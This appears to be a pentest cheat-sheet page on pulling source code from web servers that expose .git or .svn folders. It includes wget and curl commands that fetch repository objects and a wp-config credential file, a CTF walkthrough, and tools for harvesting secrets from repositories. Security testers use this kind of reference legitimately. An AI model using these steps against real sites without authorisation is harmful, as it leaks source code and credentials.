PayloadsAllTheThings/Insecure source code management

Insecure source code management

• GIT - Source code management
  • Github example with a .git
  • Automatic way : diggit.py
  • Automatic way : rip-git
  • Automatic way : GitHack
  • Harvesting secrets : trufflehog
  • Harvesting secrets : Gitrob
  • Harvesting secrets : Gitleaks
• SVN - Source code management
  • SVN example (Wordpress)
  • Automatic way : svn-extractor

GIT - Source code management

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

• .git/config
• .git/HEAD
• .git/logs/HEAD

Github example with a .git

1. Check 403 error (Forbidden) for .git or even better : a directory listing
2. Git saves all informations in log file .git/logs/HEAD (try 'head' in lowercase too)

   0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
   15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
   26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
   6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
   

3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,

   # create a .git directory
   git init test
   cd test/.git
   
   # download the file
   wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
   mkdir .git/object/26
   mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
   
   # display the content of the file
   git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
       tree 323240a3983045cdc0dec2e88c1358e7998f2e39
       parent 15ca375e54f056a576905b41a417b413c57df6eb
       author Michael <michael@easyctf.com> 1489390329 +0000
       committer Michael <michael@easyctf.com> 1489390329 +0000
       Initial.
   

4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39

   wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
   mkdir .git/object/32
   mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
   
   git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
       040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
       100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
       040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
       100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
       040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
   

5. Read the data (flag.txt)

   wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
   mkdir .git/object/cb
   mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
   git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
   

Automatic way : diggit.py

./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download

Automatic way : rip-git

perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692  
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2

Automatic way : GitHack

git clone https://github.com/lijiejie/GitHack
GitHack.py http://www.openssl.org/.git/

Harvesting secrets : trufflehog

Searches through git repositories for high entropy strings and secrets, digging deep into commit history

pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git

Harvesting secrets : Gitrob

Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.

go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]

Harvesting secrets - Gitleaks

Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.

# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r  https://github.com/zricethezav/gitleaks.git

# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks

# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000

or

go get -u github.com/zricethezav/gitleaks

SVN - Source code management

SVN example (Wordpress)

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db

   INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
   

2. Download interesting files
   • remove $sha1$ prefix
   • add .svn-base postfix
   • use first two signs from hash as folder name inside pristine/ directory (94 in this case)
   • create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base

Automatic way : svn-extractor

git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"

Thanks to

• bl4de, hidden_directories_leaks
• bl4de, diggit
• Gitrob: Now in Go - Michael Henriksen